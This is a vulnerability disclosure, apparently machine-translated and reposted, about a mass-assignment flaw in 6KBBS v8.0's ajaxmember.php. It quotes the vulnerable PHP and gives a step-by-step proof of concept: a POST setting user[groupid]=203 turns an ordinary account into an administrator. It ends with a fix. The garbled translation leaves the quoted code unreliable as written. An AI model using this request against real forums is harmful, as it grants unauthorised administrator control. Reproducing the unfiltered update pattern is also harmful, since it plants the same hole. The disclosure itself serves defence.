6 KBBS v8.0 Privilege Escalation Vulnerability for common users

Source: Internet
Author: User

Brief description: Privilege Escalation Vulnerability of common users, which can be upgraded to administrator privilege.
Detailed Description: <vulnerability analysis>
Www.2cto.com ajaxmember. php

Case "modifyDetails ":
$ User = $ _ POST ['user'];
If (getPopedom (5) = 0)
{
$ User ['usertitle'] = '';
}

If ($ user ["email"] = "")
{
Exit ("incomplete information. ");
}

Foreach (explode (",", $ cache_settings ['reservedkeyword']) as $ rkey)
{
If (! Empty ($ rkey) & stristr ($ user ['usertitle'], $ rkey ))
{
Exit ("the custom title contains forbidden keywords ");
}
}

$ Db-> row_update ("users", $ user, "id = {$ lg ['userid']}");
SucceedFlag ();

Break;


The user array does not have any restrictions. As a result, the user POST a user [groupid] = 203 field, row_update will update the groupid field of the users table and change the permissions of normal users to administrator.
Vulnerability proof: <vulnerability exploitation>
1. Register and log on to a user.
2. To/ajaxmember. php? Action = modifyDetails page post data
User % 5 Bgroupid % 5D = 203 & user % 5 Bemail % 5D = aaaa % 40aaaa.com
3. log on to the user again as the administrator.

Solution: Add a verification statement before the update to retain only the fields that can be updated.


Author insight-labs @ wooyun

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.